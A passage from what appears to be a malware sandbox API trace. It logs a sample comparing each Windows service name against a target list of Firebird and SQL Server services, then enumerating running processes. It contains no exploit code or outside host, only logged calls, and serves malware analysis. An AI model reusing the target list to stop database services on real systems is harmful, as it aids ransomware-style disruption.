(lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0229.974] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0229.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0229.974] lstrlenW (lpString="Dhcp") returned 4 [0229.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0229.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0229.974] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0229.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0229.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0229.974] lstrlenW (lpString="Dnscache") returned 8 [0229.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0229.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0229.974] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0229.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0229.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0229.974] lstrlenW (lpString="DPS") returned 3 [0229.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0229.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0229.974] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0229.974] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0229.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0229.974] lstrlenW (lpString="DusmSvc") returned 7 [0229.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0229.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0229.974] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0229.974] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0229.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0229.974] lstrlenW (lpString="EventLog") returned 8 [0229.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0229.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0229.974] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0229.974] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0229.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0229.974] lstrlenW (lpString="EventSystem") returned 11 [0229.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0229.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0229.975] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0229.975] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0229.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0229.975] lstrlenW (lpString="FontCache") returned 9 [0229.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0229.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0229.975] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0229.975] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0229.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0229.975] lstrlenW (lpString="gpsvc") returned 5 [0229.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0229.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0229.975] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0229.975] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0229.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0229.975] lstrlenW (lpString="iphlpsvc") returned 8 [0229.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0229.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0229.975] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0229.975] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0229.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0229.975] lstrlenW (lpString="KeyIso") returned 6 [0229.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0229.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0229.975] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0229.975] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0229.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0229.975] lstrlenW (lpString="LanmanServer") returned 12 [0229.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0229.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0229.975] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0229.975] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0229.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0229.975] lstrlenW (lpString="LanmanWorkstation") returned 17 [0229.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0229.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0229.975] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0229.975] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0229.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0229.975] lstrlenW (lpString="lfsvc") returned 5 [0229.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0229.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0229.976] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0229.976] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0229.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0229.976] lstrlenW (lpString="lmhosts") returned 7 [0229.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0229.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0229.976] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0229.976] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0229.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0229.976] lstrlenW (lpString="LSM") returned 3 [0229.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0229.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0229.976] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0229.976] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0229.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0229.976] lstrlenW (lpString="MpsSvc") returned 6 [0229.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0229.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0229.976] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0229.976] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0229.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0229.976] lstrlenW (lpString="NcbService") returned 10 [0229.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0229.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0229.976] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0229.976] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0229.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0229.976] lstrlenW (lpString="netprofm") returned 8 [0229.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0229.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0229.976] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0229.976] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0229.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0229.976] lstrlenW (lpString="NgcSvc") returned 6 [0229.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0229.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0229.976] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0229.976] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0229.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0229.977] lstrlenW (lpString="NlaSvc") returned 6 [0229.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0229.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0229.977] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0229.977] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0229.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0229.977] lstrlenW (lpString="nsi") returned 3 [0229.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0229.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0229.977] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0229.977] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0229.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0229.977] lstrlenW (lpString="PcaSvc") returned 6 [0229.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0229.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0229.977] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0229.977] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0229.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0229.977] lstrlenW (lpString="PlugPlay") returned 8 [0229.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0229.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0229.977] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0229.977] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0229.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0229.977] lstrlenW (lpString="Power") returned 5 [0229.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0229.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0229.977] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0229.977] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0229.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0229.977] lstrlenW (lpString="ProfSvc") returned 7 [0229.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0229.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0229.977] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0229.977] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0229.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0229.977] lstrlenW (lpString="RpcEptMapper") returned 12 [0229.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0229.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0230.018] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0230.018] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0230.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0230.018] lstrlenW (lpString="RpcSs") returned 5 [0230.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0230.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0230.019] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0230.019] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0230.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0230.019] lstrlenW (lpString="SamSs") returned 5 [0230.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0230.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0230.019] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0230.019] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0230.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0230.019] lstrlenW (lpString="Schedule") returned 8 [0230.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0230.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0230.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0230.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0230.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0230.019] lstrlenW (lpString="SecurityHealthService") returned 21 [0230.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0230.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0230.019] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0230.019] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0230.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0230.019] lstrlenW (lpString="SENS") returned 4 [0230.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0230.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0230.019] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0230.019] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0230.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0230.019] lstrlenW (lpString="ShellHWDetection") returned 16 [0230.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0230.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0230.019] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0230.019] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0230.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0230.019] lstrlenW (lpString="Spooler") returned 7 [0230.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0230.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0230.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0230.020] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0230.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0230.020] lstrlenW (lpString="StateRepository") returned 15 [0230.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0230.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0230.020] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0230.020] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0230.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0230.020] lstrlenW (lpString="SysMain") returned 7 [0230.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0230.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0230.020] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0230.020] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0230.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0230.020] lstrlenW (lpString="SystemEventsBroker") returned 18 [0230.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0230.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0230.020] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0230.020] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0230.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0230.020] lstrlenW (lpString="Themes") returned 6 [0230.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0230.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0230.020] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0230.020] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0230.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0230.020] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0230.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0230.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0230.020] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0230.020] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0230.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0230.020] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0230.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0230.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0230.020] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0230.020] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0230.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5ddd08 | out: hHeap=0x4f0000) returned 1 [0230.020] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4d4 [0230.024] Process32FirstW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.024] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0230.024] lstrlenW (lpString="System") returned 6 [0230.025] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0230.025] lstrlenW (lpString="smss.exe") returned 8 [0230.025] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.025] lstrlenW (lpString="csrss.exe") returned 9 [0230.025] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0230.025] lstrlenW (lpString="wininit.exe") returned 11 [0230.026] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.026] lstrlenW (lpString="csrss.exe") returned 9 [0230.026] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0230.026] lstrlenW (lpString="winlogon.exe") returned 12 [0230.026] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0230.026] lstrlenW (lpString="services.exe") returned 12 [0230.027] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0230.027] lstrlenW (lpString="lsass.exe") returned 9 [0230.027] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0230.027] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0230.027] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0230.027] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0230.028] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.028] lstrlenW (lpString="svchost.exe") returned 11 [0230.028] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.028] lstrlenW (lpString="svchost.exe") returned 11 [0230.028] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0230.028] lstrlenW (lpString="dwm.exe") returned 7 [0230.028] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.029] lstrlenW (lpString="svchost.exe") returned 11 [0230.029] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.029] lstrlenW (lpString="svchost.exe") returned 11 [0230.029] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.029] lstrlenW (lpString="svchost.exe") returned 11 [0230.029] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.030] lstrlenW (lpString="svchost.exe") returned 11 [0230.030] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.030] lstrlenW (lpString="svchost.exe") returned 11 [0230.030] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.030] lstrlenW (lpString="svchost.exe") returned 11 [0230.030] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.031] lstrlenW (lpString="svchost.exe") returned 11 [0230.031] Process32NextW (in: hSnapshot=0x4d4, lppe=0x244fd2c | out: 